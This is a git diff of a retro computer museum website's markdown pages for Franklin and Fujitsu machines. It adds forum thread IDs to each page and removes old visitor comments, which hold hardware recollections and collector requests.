abc7fe6a..03d367c7 100644 --- a/content/museum/frael-bruc-100.md +++ b/content/museum/frael-bruc-100.md @@ -64,6 +64,7 @@ params: - photos - links - docs + forum_thread: 1250 photos: - title: BRUC 100 subtitle: '' @@ -103,19 +104,6 @@ params:  type of document : ZIP\  size : 8,6 MB\  source : [retrocomputing.altervista.org](http://retrocomputing.altervista.org/) - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help oc_id: 1285 source: url: https://web.archive.org/web/20230603005349/http://www.old-computers.com/museum/computer.asp?c=1285 diff --git a/content/museum/franklin-ace-100.md b/content/museum/franklin-ace-100.md index cad5bbe6..b9feb1bc 100644 --- a/content/museum/franklin-ace-100.md +++ b/content/museum/franklin-ace-100.md @@ -67,6 +67,7 @@ params: - photos - adverts - links + forum_thread: 1043 photos: - title: ANOTHER VIEW subtitle: '' diff --git a/content/museum/franklin-ace-1000.md b/content/museum/franklin-ace-1000.md index 45edd355..8f07482e 100644 --- a/content/museum/franklin-ace-1000.md +++ b/content/museum/franklin-ace-1000.md @@ -63,6 +63,7 @@ params: tabs: - photos - adverts + forum_thread: 72 photos: - title: ACE 1000 subtitle: '' @@ -125,28 +126,6 @@ params: subtitle: '' text: Franklin dealer advert (1983) image: /media/museum/pubs/franklin_ace1000_pub_3.jpg - comments: - - author: M Mittge (Chehalis, Washington) - date: Wednesday 12th October 2011 - text: |- - My first computer. It got me through law school, 1984-1987. I digested and summarized my notes from classes on it each night, and ended up with about a 50 page synopsis of each class to study for finals. For final in Constitutional Law, prof assigned a paper on the morning of the final, and paper had to be done and delivered to him by 8 AM the next morning. I composed mine at the keyboard, and was done and in bed by 10. Roommate wrote his out, and he and his girlfriend started typing it at about 9 PM. Neither were very good typists. They finally got done about 3. He and I were both sold on those new-fangled computers at that point. - - The 80 column card was what made it so great. Apple, at that time, only showed 40 columns on the monitor, so 2 columns on the monitor equaled one column on paper- very confusing, especially for formatting titles, etc. Franklin actually showed only 70 columns (the other 10 were the margins on both sides). They did it by showing letters in graphics- very strange looking little letters, but once you got used to it, they were fine. What you saw was what you got on paper. - - author: Jeff Ferrel (Carson City, NV USA) - date: Thursday 13rd January 2011 - text: |- - I think the name of the ''Z'' game you are thinking of was Zork.. they had a Zork I, II, and III. - - Franklin Ace 1000''s also came standard with an 80 column card... - - author: Jeremy (Indiana) - date: Monday 15th October 2007 - text: |- - This was the first computer that my parents ever bought. My grandfather got my dad the hookup on it. My grandfather also did some soldering magic and also hookedup a hard drive and added a speech card as well. My friend and I would call McDonald's and prank them with the Stephen Hawking-type voice that it made. I sure miss Miner 2049r. There was another game that began with a Z as well. I don't remember what it was called but it was fun. - - Oh Yeah, I remember hitting that orange reset button under the front side with my toe a couple times as well (I'd tip the seat back and put my foot up on the edge of the desk). Nothing like having to recreate a 5 page report when you don't know how to type :\\ Other than that though it was a great computer! - - author: R Granback (San Diego, CA) - date: Friday 12th October 2007 - text: I had one and the dealer misrepresented it as color ready when I had to buy the chip separately. I never had any compatibility issues which is understandable as its bios was copied directly from the Apple (bios disassembly revealed Apple Computer still present within the code). Although larger than the Apple \]\[ it had a handy rock solid case that served as a monitor stand. Its slots were completely apple compatible and I added an apple language card which which provided additional ram for use with MS Basic. Unfortunately mine died when a rented duplex formed a roof leak directly above where the computer sat causing the mainboard and hardware to rust. oc_id: 56 source: url: https://web.archive.org/web/20230419013929/http://www.old-computers.com/museum/computer.asp?c=56 diff --git a/content/museum/franklin-ace-1200.md b/content/museum/franklin-ace-1200.md index 684cc9b9..00586178 100644 --- a/content/museum/franklin-ace-1200.md +++ b/content/museum/franklin-ace-1200.md @@ -68,6 +68,7 @@ params: tabs: - photos - adverts + forum_thread: 631 photos: - title: WITH FRANKLIN MONITOR subtitle: '' @@ -140,16 +141,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/franklin_ace1200_pub_1.jpg - comments: - - author: Aaron (USA) - date: Monday 8th July 2019 - text: I have a Franklin 1200 and it can put out color its not a monochrome system (the 1000 might have been) although the monitor that came with it is. It however has no graphical capability of its own. - - author: Randy Fisher (USA) - date: Wednesday 26th September 2007 - text: |- - i owned the franklin 1200 plus computer back in the day 1984 I paid $1000.00 for the computer part and the monitor and it came with software.. - - The computer was built like a tank. But, I remember it i as very hard to find a modem for the computer since. mine did not have a serial card at the time. I mostly used apple 2 software on my computer.. oc_id: 646 source: url: https://web.archive.org/web/20230331011924/http://www.old-computers.com/museum/computer.asp?c=646 diff --git a/content/museum/franklin-ace-2000.md b/content/museum/franklin-ace-2000.md index 741f1fa4..fb0720ca 100644 --- a/content/museum/franklin-ace-2000.md +++ b/content/museum/franklin-ace-2000.md @@ -58,6 +58,7 @@ params: value: Unknown tabs: - photos + forum_thread: 750 photos: - title: MOTHERBOARD subtitle: '' diff --git a/content/museum/franklin-ace-500.md b/content/museum/franklin-ace-500.md index fcd3cf1e..7417d736 100644 --- a/content/museum/franklin-ace-500.md +++ b/content/museum/franklin-ace-500.md @@ -61,6 +61,7 @@ params: tabs: - photos - docs + forum_thread: 774 photos: - title: FRONT VIEW subtitle: '' @@ -94,14 +95,6 @@ params:  source : [www.apple-iigs.info](http://www.apple-iigs.info/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Ray McAnally (USA) - date: Thursday 17th February 2011 - text: The ACE 500 was a clone of the Apple //c with some interesting exras. You could use either a Composite input monitor like the Apple //c used or you could use a IBM style CGA monitor. When either monitor was in text mode, you could $ the text color on the screen (green, amber or paper white) The unit shipped in configurations of either 256k or 512k versus the 128k of the Apple //c. This allowed memory resident programs such as Appleworks to be loaded entirely into memory and still provide desk space for large documents as well as switching between documents. The keyboard are is larger with an included 10 key keypad as well as function keys that could be set to perform word processor functions in Appleworks. These functions were available on the Apple by memorizing special key combinations. The Franklin did them automaticly. Having used both machines as well as several others from both Apple and Franklin, I can state that the functionality as well as the build quality of the Franklins - were superior to Apple. Apple had some nicer designs, but they could have taken a page from the Franklin play book. - - author: MooglyGuy (USA) - date: Saturday 30th October 2004 - text: Regarding the ACE500, I once picked up two or three of them that a computer repair shop was throwing out. They all worked great, and were sturdy machines - I once dropped one several feet and it still worked fine! It's worth noting, however, that the machine isn't exactly like an Apple //c as it's heavier than one, deeper than one. A better gauge would be that it's a couple inches wider and deeper than the Commodore 128. Also, the picture of the connectors is obviously of a version that I did not have - the ones I had had a standard three-pronged AC cable jack where the AC adaptor input is located in the picture. oc_id: 793 source: url: https://web.archive.org/web/20230129164849/http://www.old-computers.com/museum/computer.asp?c=793 diff --git a/content/museum/franklin-pc-5000-6000-8000.md b/content/museum/franklin-pc-5000-6000-8000.md index 2547300e..a7c524ff 100644 --- a/content/museum/franklin-pc-5000-6000-8000.md +++ b/content/museum/franklin-pc-5000-6000-8000.md @@ -58,6 +58,7 @@ params: value: $949.99 - PC-8000 with dual FDD and video card tabs: - photos + forum_thread: 1080 photos: - title: 'PC-5000 #1' subtitle: '' @@ -91,10 +92,6 @@ params: subtitle: '' text: Thanks to Dale Van Wieren for this picture image: /media/museum/photos/franklin_pc8000_box-side2.jpg - comments: - - author: David Otter (New Zealand) - date: Thursday 13rd January 2022 - text: i have just got 2 x these pc''s A Spectravideo SVI-808 (number-30 made) and a franken SVI-808 (number-53 made) looking for any info or manuals on these pc''s. put up a disassembly blog on terry''s vintage web page...... https://www.classic-computers.org.nz/forums/viewtopic.php... oc_id: 1110 source: url: https://web.archive.org/web/20230603005939/http://www.old-computers.com/museum/computer.asp?c=1110 diff --git a/content/museum/fuji-electric-sportstron-tv-game-coca-cola-edition.md b/content/museum/fuji-electric-sportstron-tv-game-coca-cola-edition.md index 777fc13f..3d0f5664 100644 --- a/content/museum/fuji-electric-sportstron-tv-game-coca-cola-edition.md +++ b/content/museum/fuji-electric-sportstron-tv-game-coca-cola-edition.md @@ -45,6 +45,7 @@ params: tabs: - photos - software + forum_thread: 727 photos: - title: DIAL subtitle: '' diff --git a/content/museum/fujitsu-fm-11-bs.md b/content/museum/fujitsu-fm-11-bs.md index 40aaa9b6..1d3e0db4 100644 --- a/content/museum/fujitsu-fm-11-bs.md +++ b/content/museum/fujitsu-fm-11-bs.md @@ -63,6 +63,7 @@ params: tabs: - software - links + forum_thread: 380 screenshots: - title: GRAPHICAL POSSIBILITIES subtitle: screenshot diff --git a/content/museum/fujitsu-fm-11-ex.md b/content/museum/fujitsu-fm-11-ex.md index e0d57814..b8df3675 100644 --- a/content/museum/fujitsu-fm-11-ex.md +++ b/content/museum/fujitsu-fm-11-ex.md @@ -67,6 +67,7 @@ params: - adverts - software - links + forum_thread: 378 photos: - title: FM-11 EX subtitle: '' diff --git a/content/museum/fujitsu-fm-11-pub-2.md b/content/museum/fujitsu-fm-11-pub-2.md index 9881b5a7..41325cd8 100644 --- a/content/museum/fujitsu-fm-11-pub-2.md +++ b/content/museum/fujitsu-fm-11-pub-2.md @@ -62,6 +62,7 @@ params: - photos - software - links + forum_thread: 379 photos: - title: FM 11 AD2 subtitle: '' diff --git a/content/museum/fujitsu-fm-11-pub.md b/content/museum/fujitsu-fm-11-pub.md index d8deeb31..d31f4784 100644 --- a/content/museum/fujitsu-fm-11-pub.md +++ b/content/museum/fujitsu-fm-11-pub.md @@ -64,6 +64,7 @@ params: - photos - software - links + forum_thread: 1184 photos: - title: FM11-AD subtitle: '' diff --git a/content/museum/fujitsu-fm-16-beta.md b/content/museum/fujitsu-fm-16-beta.md index 25e321f2..8f9247ff 100644 --- a/content/museum/fujitsu-fm-16-beta.md +++ b/content/museum/fujitsu-fm-16-beta.md @@ -60,6 +60,7 @@ params: value: Monochrome or colour monitor, 1 to 2 MB expansion RAM card (about $1,000/MB), SCSI 13 MB hard disk ($1300) - label: PRICE value: About $3,300 with colour monitor, 128 KB RAM and two DS/DD 5.25'' floppy drives + forum_thread: 381 oc_id: 382 source: url: https://web.archive.org/web/20230605124638/http://www.old-computers.com/museum/computer.asp?c=382 diff --git a/content/museum/fujitsu-fm-16-pi.md b/content/museum/fujitsu-fm-16-pi.md index d0ca0d24..93f6daef 100644 --- a/content/museum/fujitsu-fm-16-pi.md +++ b/content/museum/fujitsu-fm-16-pi.md @@ -54,30 +54,7 @@ params: value: NiCd battery , 8V AC Adapter - label: PERIPHERALS value: 3.5 inch FDD driver port, printer,RS-232C,barcode reader - comments: - - author: Yuri (Russia) - date: Saturday 31st March 2018 - text: |- - Video about Fujitsu FM-16 Pi:\ - https://www.youtube.com/watch?v$AIR1ksTvWlc$t$0s - - author: leskovez (Russia) - date: Wednesday 21st May 2014 - text: |- - This was an A4 size portable personal computer for business from Fujitsu. It was announced in April 1985, and had the following features:\ - A4 size portable machine (29.7cm wide, 21.0cm deep, weighing a light 2.9kg)\ - 16-bit CMOS CPU (80C86) with low power consumption (Could be used with 3 power supplies: AC100V, NiCd battery, or car battery)\ - Large liquid crystal screen (640x200 dot) capable of displaying 440 kanji (40 characters x 11 lines) and 2000 non-kanji characters\ - High-capacity memory (128/288/448 kilobyte main memory, 384 kilobyte CMOS mask ROM for CP/M-86 OS and dictionary etc.)\ - Equipped standard with JIS level 1 kanji ROM (453 JIS non-kanji characters and 2965 JIS level 1 kanji)\ - BASIC and COBOL supplied on ROM cartridges as basic software\ - Equipped standard with microcassette for auxiliary memory\ - This machine was developed based on concepts which were revolutionary at the time. It was a forerunner of later laptop machines. However, because it was commercialized too early and used the CP/M-86 OS, it was only used in certain specific fields such as data entry. - - author: Yuri (Russia) - date: Saturday 12th April 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru - - author: Yuri (Russia) - date: Saturday 12th April 2014 - text: If someone owns the laptop let me know. Laptop needed for the museum of computer technology. leskovezATmail.ru + forum_thread: 382 oc_id: 383 source: url: https://web.archive.org/web/20230531223001/http://www.old-computers.com/museum/computer.asp?c=383 diff --git a/content/museum/fujitsu-fm-7.md b/content/museum/fujitsu-fm-7.md index 043c94f5..508283ba 100644 --- a/content/museum/fujitsu-fm-7.md +++ b/content/museum/fujitsu-fm-7.md @@ -68,6 +68,7 @@ params: - photos - emulators - links + forum_thread: 330 photos: - title: FM 7 subtitle: '' @@ -93,10 +94,6 @@ params: - title: Yoshimi's Home Page url: http://www23.tok2.com/home/fm7emu/index1.htm text: Excellent source of information about the FM-7 (Japanese) - comments: - - author: Nomura, Hisayuki (Japan) - date: Tuesday 18th February 2003 - text: FM-7 was my first PC and I learned a lot of things from this. These era ('80), was exciting years for PC users. Tons of unique PC was released. But now, we have only 2. PC and MAC. Sigh... related: - /museum/fujitsu-fm-new-7 oc_id: 325 diff --git a/content/museum/fujitsu-fm-77-av-20.md b/content/museum/fujitsu-fm-77-av-20.md index 50e33e2b..9c4bfde0 100644 --- a/content/museum/fujitsu-fm-77-av-20.md +++ b/content/museum/fujitsu-fm-77-av-20.md @@ -68,6 +68,7 @@ params: FM-77 AV 20-1 : 138,000 Yen (Japan, 1986) tabs: - photos + forum_thread: 331 photos: - title: FRONT subtitle: '' diff --git a/content/museum/fujitsu-fm-77-av-40.md b/content/museum/fujitsu-fm-77-av-40.md index a87da893..beb81731 100644 --- a/content/museum/fujitsu-fm-77-av-40.md +++ b/content/museum/fujitsu-fm-77-av-40.md @@ -60,6 +60,7 @@ params: value: 228,000 yen (Japan, 1986) tabs: - videos + forum_thread: 532 videos: - title: Fujitsu AV40EX japanese TV commercial url: https://www.youtube.com/watch?v=3lAMkewRfXU diff --git a/content/museum/fujitsu-fm-77-av-ex.md b/content/museum/fujitsu-fm-77-av-ex.md index 8f54b8d9..3bc8c668 100644 --- a/content/museum/fujitsu-fm-77-av-ex.md +++ b/content/museum/fujitsu-fm-77-av-ex.md @@ -64,13 +64,7 @@ params: value: printers, modem - label: PRICE value: Unknown - comments: - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Monday 12th March 2012 - text: The major difference between the EX and SX is that the SX lacks the connector to connect a tape player to load software from cassette. The SX motherboard has the solder points for the connector, the relay, the caps and resistor, and the cassette asic, but they are unpopulated. You can populate them yourself, but the hardest part is finding the ASIC, it''s part number is MB43413. I managed to get 5 of them used from a supplier in China. I am going to try and have them reverse engineered and rebuilt in VHDL or Verilog so that anyone with an SX can add tape support. - - author: Keith Greer (County Derry, United Kingdom) - date: Sunday 18th December 2005 - text: Ah, my First Computer, I have been looking for pictures on the intenet for ages. Great computer, but I think a bit slow compaired to todays machines. + forum_thread: 373 oc_id: 374 source: url: https://web.archive.org/web/20230603001920/http://www.old-computers.com/museum/computer.asp?c=374 diff --git a/content/museum/fujitsu-fm-77-av-sx.md b/content/museum/fujitsu-fm-77-av-sx.md index 1fea1157..7b476960 100644 --- a/content/museum/fujitsu-fm-77-av-sx.md +++ b/content/museum/fujitsu-fm-77-av-sx.md @@ -60,6 +60,7 @@ params: value: Built-in power supply unit - label: PRICE value: 178,000 Yen (FM-77AV40SX) - 128,000 Yen (FM-77AV20SX) + forum_thread: 374 oc_id: 375 source: url: https://web.archive.org/web/20230607062028/http://www.old-computers.com/museum/computer.asp?c=375 diff --git a/content/museum/fujitsu-fm-77-av.md b/content/museum/fujitsu-fm-77-av.md index 0ad2e353..3c163e27 100644 --- a/content/museum/fujitsu-fm-77-av.md +++ b/content/museum/fujitsu-fm-77-av.md @@ -71,6 +71,7 @@ params: - hardware - software - links + forum_thread: 372 photos: - title: FM77 AV subtitle: '' diff --git a/content/museum/fujitsu-fm-77-level-2.md b/content/museum/fujitsu-fm-77-level-2.md index a6824584..6ec8c92e 100644 --- a/content/museum/fujitsu-fm-77-level-2.md +++ b/content/museum/fujitsu-fm-77-level-2.md @@ -58,6 +58,7 @@ params: value: Built-in power supply unit - label: PRICE value: Unknown + forum_thread: 375 oc_id: 376 source: url: https://web.archive.org/web/20230607062331/http://www.old-computers.com/museum/computer.asp?c=376 diff --git a/content/museum/fujitsu-fm-77-level-4.md b/content/museum/fujitsu-fm-77-level-4.md index 82be653f..97b7d783 100644 --- a/content/museum/fujitsu-fm-77-level-4.md +++ b/content/museum/fujitsu-fm-77-level-4.md @@ -60,34 +60,11 @@ params: value: Unknown tabs: - videos + forum_thread: 332 videos: - title: FM-77 L4 japanese TV commercial url: https://www.youtube.com/watch?v=z-ovTdyx0ZA text: 'Length: 30 s' - comments: - - author: Maneco (Japan) - date: Sunday 1st June 2014 - text: 'CPU: MB68B09 and MB68B09E. It was 2 CPU system architecture. MB68B09E takes charge of graphics processing. Each system has 64KB address space, and it was expanded by MMU(Memory Mapping Unit) and Bank $ system. Both CPU clocks are 2MHz. ROM area is 31KB for F-BASIC version 3.0 and 1KB for Bootstrap.' - - author: Maneco (Japan) - date: Sunday 1st June 2014 - text: FM77 L4 is a variation of FM-77. The machine is pre-installed "400 Line set II". "400 Line set II" enables 640x400 resoluition graphics(it was only monochrome.. :-( ) and 16 color(digital RGB''s 8 color plus high intensity channel) text video. 640x400 resolution enables good Kanji display, because each Kanji consists of 16x16 dots. - - author: Tao YouGong (China) - date: Saturday 22nd September 2012 - text: It is a 6809 machine. - - author: Jolugoro (Spain) - date: Monday 18th July 2011 - text: See at http://www.1000bit.it/scheda.asp?id$927 for more information. - - author: pippo (roma) - date: Friday 20th August 2010 - text: ottimo pc struttura ben curata nei minimi particolari, processore 8088 è un livello alto di tecnologia ciao. - - author: jimbo (spain) - date: Friday 16th July 2004 - text: |- - Some deductions from the pic: - - The keyboard arrangement (10 function keys) says this is a xt level machine, 8088 or 8086 cpu, but the japanesse brand makes more probable a v20 or v30 from nec. - - The screen shows the wordstar Wordprocessor, (a quite old soft typical on old computers) this strenghts the pc-clone theory. oc_id: 327 source: url: https://web.archive.org/web/20230607053958/http://www.old-computers.com/museum/computer.asp?c=327 diff --git a/content/museum/fujitsu-fm-8.md b/content/museum/fujitsu-fm-8.md index e8ee3b9f..9a177933 100644 --- a/content/museum/fujitsu-fm-8.md +++ b/content/museum/fujitsu-fm-8.md @@ -66,6 +66,7 @@ params: tabs: - photos - links + forum_thread: 376 photos: - title: FM-8 subtitle: '' diff --git a/content/museum/fujitsu-fm-new-7.md b/content/museum/fujitsu-fm-new-7.md index 0cd0baf3..dfc4d091 100644 --- a/content/museum/fujitsu-fm-new-7.md +++ b/content/museum/fujitsu-fm-new-7.md @@ -67,6 +67,7 @@ params: - hardware - emulators - links + forum_thread: 377 photos: - title: COMPLETE SET ... subtitle: '' diff --git a/content/museum/fujitsu-fm-r-70.md b/content/museum/fujitsu-fm-r-70.md index 709ce5fb..7baca2e5 100644 --- a/content/museum/fujitsu-fm-r-70.md +++ b/content/museum/fujitsu-fm-r-70.md @@ -67,10 +67,7 @@ params: value: Thomas Conrad ethernet adapter. - label: PRICE value: From $2998 to $3995 according to versions - comments: - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Monday 26th March 2012 - text: The FMR-50, the predecessor to this machine, was actually the basis for the famous and fabled FM-TOWNS system. It is even possible to use FMR-50 expansion cards with the FM-TOWNS, provided you used a simple passive adapter. The ethernet card in my FM-TOWNS II UR is an FMR-50 ethernet card connected to an adapter. As far as I know, some FMR-50 will run unmodified on the FM-TOWNS as well. + forum_thread: 333 oc_id: 328 source: url: https://web.archive.org/web/20230208073702/http://www.old-computers.com/museum/computer.asp?c=328 diff --git a/content/museum/fujitsu-fm-towns-ii-ex.md b/content/museum/fujitsu-fm-towns-ii-ex.md index 6a77dd0b..a362f774 100644 --- a/content/museum/fujitsu-fm-towns-ii-ex.md +++ b/content/museum/fujitsu-fm-towns-ii-ex.md @@ -57,6 +57,7 @@ params: - emulators - links - videos + forum_thread: 139 screenshots: - title: SCREENSHOT subtitle: '' @@ -117,29 +118,6 @@ params: - title: FM Towns japanese TV commercial url: https://www.youtube.com/watch?v=Y01Pjyin-pU text: 'Length: 30 s' - comments: - - author: Joseph (United States) - date: Thursday 20th December 2012 - text: It looks like a Macintosh, minus the optical drive. - - author: Joseph (United States) - date: Thursday 20th December 2012 - text: It looks like a Macintosh, minus the optical drive. - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Saturday 17th March 2012 - text: As far as I know there is no FM TOWNS II EX. The three FM TOWNS machines that come in this style of case that I know of are the UX, UG, and the UR. I have the latter. The UX and UG both have 386SX processors, the UX has a 386SX 16MHz, the UG has a 386SX 20MHz. The UR has a 486SX 20MHz. All three models are limited to 10MB RAM max. The only thing I can think of is you have mixed up a picture of a UX with the stats of the much later MX machine, which does indeed have a 486DX2 66MHz, although that machine tops out at a maximum of 100MB of RAM, not 32. - - author: Fork - date: Monday 24th October 2011 - text: Fm stands for fart monster - - author: CLASSIFIED - date: Friday 20th August 2010 - text: It looks like the tv vcr combo in my room - - author: Cal Saliki (Montreal) - date: Monday 6th January 2003 - text: |- - Wow! - - What a monster :D\ - 66Mhz, 1mb VRAM... in 1993... related: - /museum/fujitsu-fm-towns - /museum/fujitsu-fm-towns-ii diff --git a/content/museum/fujitsu-fm-towns-ii.md b/content/museum/fujitsu-fm-towns-ii.md index c6320778..acb00f59 100644 --- a/content/museum/fujitsu-fm-towns-ii.md +++ b/content/museum/fujitsu-fm-towns-ii.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 383 photos: - title: ANOTHER FM-TOWNS II VERSION subtitle: '' @@ -178,33 +179,6 @@ params: - title: FM Towns japanese TV commercial url: https://www.youtube.com/watch?v=Y01Pjyin-pU text: 'Length: 30 s' - comments: - - author: Robert (usa) - date: Tuesday 24th October 2017 - text: I found one of these supprisingly at a flea market for cheap and there are alot of amazing games available for it i had mine upgraded to a 486 a few years after obtaining it - - author: TylerE (UK) - date: Monday 11th March 2013 - text: I find the English language to be very unintelligent and with many gramical errors. Obviously PorkyR never took the time at School to learn French or is arrogant of his own language. This is why they teach you this kind of stuff in grade school. And also to stay on topic of the computer I find the casing of the FM Towns II very interesting and I really like it. Possibly my favourite design for a computer of this time. - - author: Matthew - date: Tuesday 13rd March 2012 - text: |- - Sentinelle_Divine (FRANCE) J''utilise un traducteur en ligne. - - Je ne comprends pas complètement à votre question. Mais je pense que le système d''exploitation, il a été fait pour qu''on appelle le système d''exploitation villes, et je ne pense pas que vous y trouverez des informations plus sur le sujet, en raison de la rareté de cette machine. - - author: Matthew - date: Tuesday 13rd March 2012 - text: porkyR I do not think that comment was called for, in any way, and would be classified as xenophobia in the least. Please do refrain from making such comments again, and if you can, try to learn another language yourself. And, I''d like to point out, you insulted them in English, when they speak french, which may also be a further extent of your xenophobia, hiding behind a shield of language and all. - - author: porkyR - date: Thursday 29th December 2011 - text: to Sentinelle_Divine - too stupid for English? - - author: Sentinelle_Divine (FRANCE) - date: Thursday 8th September 2005 - text: |- - bonjour\ - je recherche cette machine ainsie que des logiciel pouvant tourner dessus\ - comme c'est une machine un peu particuliere j'aimerais savoir si quelqun peut me dire sous quel systeme d'exploitation etait gerer cette machine - - merci related: - /museum/fujitsu-fm-towns - /museum/fujitsu-fm-towns-ii-ex diff --git a/content/museum/fujitsu-fm-towns.md b/content/museum/fujitsu-fm-towns.md index feb53c3f..e3029e87 100644 --- a/content/museum/fujitsu-fm-towns.md +++ b/content/museum/fujitsu-fm-towns.md @@ -72,6 +72,7 @@ params: - emulators - links - videos + forum_thread: 943 photos: - title: FM TOWNS subtitle: '' @@ -137,19 +138,6 @@ params: - title: FM Towns japanese TV commercial url: https://www.youtube.com/watch?v=Y01Pjyin-pU text: 'Length: 30 s' - comments: - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Monday 26th March 2012 - text: I would also like to note that the version of Windows that runs on the FM-TOWNS is a special modified version of Windows. Just popping in a standard Windows 95 CD will get you nowhere, although once you have Windows 95 installed, standard Windows software will run unmodified. - - author: Conrad Russo (Vancouver, British Columbia, Canada) - date: Monday 26th March 2012 - text: I would like to note that the FM-TOWNS is not fully IBM PC Compatible as stated in the description. I''m not sure as my FM-TOWNS II UR has not arrived to me yet, but as far as I know only well-behaved software that doesn''t bang the hardware will run unmodified on the FM-TOWNS, since there are some significant differences between the PC standard and the FM-TOWNS. Things like port addresses are different and the graphics system is almost certainly incompatible with any PC graphics mode, so that would just leave properly written text mode software as being interchangeable and even then I am not sure. I will test it out once I have the TOWNS. - - author: Jay (UK) - date: Monday 23rd August 2021 - text: Gamepads can be pretty expensive for this. However, 3rd party gamepads are available on eBay for a fraction of the price. Just type in RETROPAD to the eBay search and you will find. Great to have a cheap gamepad for second player! - - author: Wren Mandagorn (United Kingdom) - date: Tuesday 23rd January 2007 - text: The FM Towns was briefly available in the UK through specialist suppliers. It came as an all black system which I think was unique at the time. The FM Towns was also compatible with most (though not all) PC software at the time. Indeed I played most of the ‘must have’ PC games on my Towns around the early 90’s!! related: - /museum/fujitsu-fm-towns-ii - /museum/fujitsu-fm-towns-ii-ex diff --git a/content/museum/fujitsu-fm-x.md b/content/museum/fujitsu-fm-x.md index 2d90c24c..53170258 100644 --- a/content/museum/fujitsu-fm-x.md +++ b/content/museum/fujitsu-fm-x.md @@ -63,6 +63,7 @@ params: value: MSX DOS - label: PRICE value: ¥49,800 (Japan, 1983) + forum_thread: 1296 oc_id: 1331 source: url: https://web.archive.org/web/20230208075855/http://www.old-computers.com/museum/computer.asp?c=1331 diff --git a/content/museum/fujitsu-micro-16s.md b/content/museum/fujitsu-micro-16s.md index b0bd743e..ccd22bb7 100644 --- a/content/museum/fujitsu-micro-16s.md +++ b/content/museum/fujitsu-micro-16s.md @@ -67,6 +67,7 @@ params: tabs: - photos - links + forum_thread: 868 photos: - title: MAIN BOARD subtitle: '' @@ -88,47 +89,6 @@ params: - title: Evaluation in Creative Computing magazine url: http://www.atarimagazines.com/creative/v10n3/101_Fujitsu_Micro_16s.php text: '' - comments: - - author: John Boxall (Brisbane, Australia) - date: Monday 2nd September 2019 - text: I have a new, old-stock Micro16s/FACOM8030 system with color screen, Z80 and 8086, twin 320k floppy drives and MSDOS2.11 system disks. If anyone can sell me copies of the other included software, CP/M disks etc - please email me. john at johnboxall dot com. I am open to selling the system within Australia. - - author: J. G Newell (United States) - date: Wednesday 9th March 2016 - text: I remember the OP - David Moss, and the Fujitsu interface board for the Micros. I have always wondered whatever became of all that? Dave, did you find a Micro through here - and get it working? Love to know how much of the old computer gear you still have. Drop me a line - CompuVision Solutions in Anchorage! - - author: Chris (NJ) - date: Monday 7th September 2015 - text: e-mail is dreyfusshudson at yahoo dot com - - author: Chris (NJ) - date: Monday 7th September 2015 - text: I''m looking for a Fujitsu Micro 16s. Anyone got one, please e-mail me. - - author: Kathleen - date: Tuesday 16th June 2015 - text: I have a Fujitsu Micro 16s if anyone wants to buy it. I worked for Fujitsu in San Jose in the 80s and bought it in 1985. - - author: Randall B.B. Parker (United States) - date: Wednesday 3rd June 2015 - text: I have a micro 16s complete VNIB. anyone know what its worth...Has everything.....software, manuals, monitor...Everything in it the same as the day it was bought. - - author: Randall B.B. Parker (United States) - date: Wednesday 3rd June 2015 - text: I have a micro 16s complete VNIB. anyone know what its worth...Has everything.....software, manuals, monitor...Everything in it the same as the day it was bought. - - author: Kim Kasdorf (Chapel Hill, NC USA) - date: Tuesday 18th March 2014 - text: My second computer was a Micro 16s. I even bought the external SCSI 5 mb hard disk. I still have the entire system with original manuals, advertising brochures, software and original packaging. This has all been in storage since the early 1980''s, but it worked when I put it away. I would love to sell this system to someone who has a computer collection or museum. If interested, please contact me through this site. - - author: Dave Marsee (Southern California) - date: Wednesday 9th November 2011 - text: I worked for Fujitsu in the 1980s and we used the Micro 16s. I don''t have the computer, but I do have a set of software floppy discs and manuals. They are for the CPM-86 operating system, Supercalc, and Wordstar. I was going to toss these out, but thought someone might be interested. They are free, but would appreciate being compensated for the shipping charges if out of Southern California. - - author: Keith Mikesell (Pittsburgh, PA) - date: Wednesday 5th October 2011 - text: |- - Back in 1984, I worked for a Canon copier dealership in Austin, TX, that also began selling the Fujitsu Micro 16s. I was sent to Santa Clara, CA, and was trained by Fujitsu on maintenance and repair. - - I''m not sure how many we sold over the next year, but I believe I only made three repairs$ all for the same problem. There was an issue with a bearing that was seated in the center of each of the 5.25 floppy drives. It either was manufactured with a defect or rapidly developed a burr that would cause high-pitched squealing of the drive when it spun a disc. The solution was to take a very fine nail file and remove the burr. - - Aside from that, they seemed to offer no serious problems and worked quite well. That''s about all I can remember about them. - - A sidebar memory was that my daughter was born two months premature while I was attending the school, so I missed her birth. I''m still trying to live down not being there. - - author: David Moss (USA) - date: Friday 17th December 2010 - text: during the 80''s I worked for a company called "The Computer Center" in Juneau, Alaska. We sold the Fujitsu Micro 16, mostly to the State. Due to the fact that it used ms-dos and not pc-dos (IBM version) it was unable to run such programs as lotus 1-2-3 and others that the state used, and therefor sales were slow. I developed a plugin emulator board and software to allow the computer to run many of these programs. We sold several hundred of the boards at about $600 each. I still have a few of them! I''ve been looking for a Micro 16 to add to my collection if anyone knows of one! oc_id: 888 source: url: https://web.archive.org/web/20230608155636/http://www.old-computers.com/museum/computer.asp?c=888 diff --git a/content/museum/g-z-e-unimor-bosman-8.md b/content/museum/g-z-e-unimor-bosman-8.md index f43da5cf..aba5c7c0 100644 --- a/content/museum/g-z-e-unimor-bosman-8.md +++ b/content/museum/g-z-e-unimor-bosman-8.md @@ -67,6 +67,7 @@ params: - connectors - software - docs + forum_thread: 1174 photos: - title: BOSMAN 8 subtitle: '' @@ -155,18 +156,6 @@ params:  type of document : PDF\  size : 1.2 MB\  source : www.old-computers.com - comments: - - author: Zbigniew ''zibi'' Jarosik (Poland) - date: Monday 9th December 2019 - text: |- - Bosman has 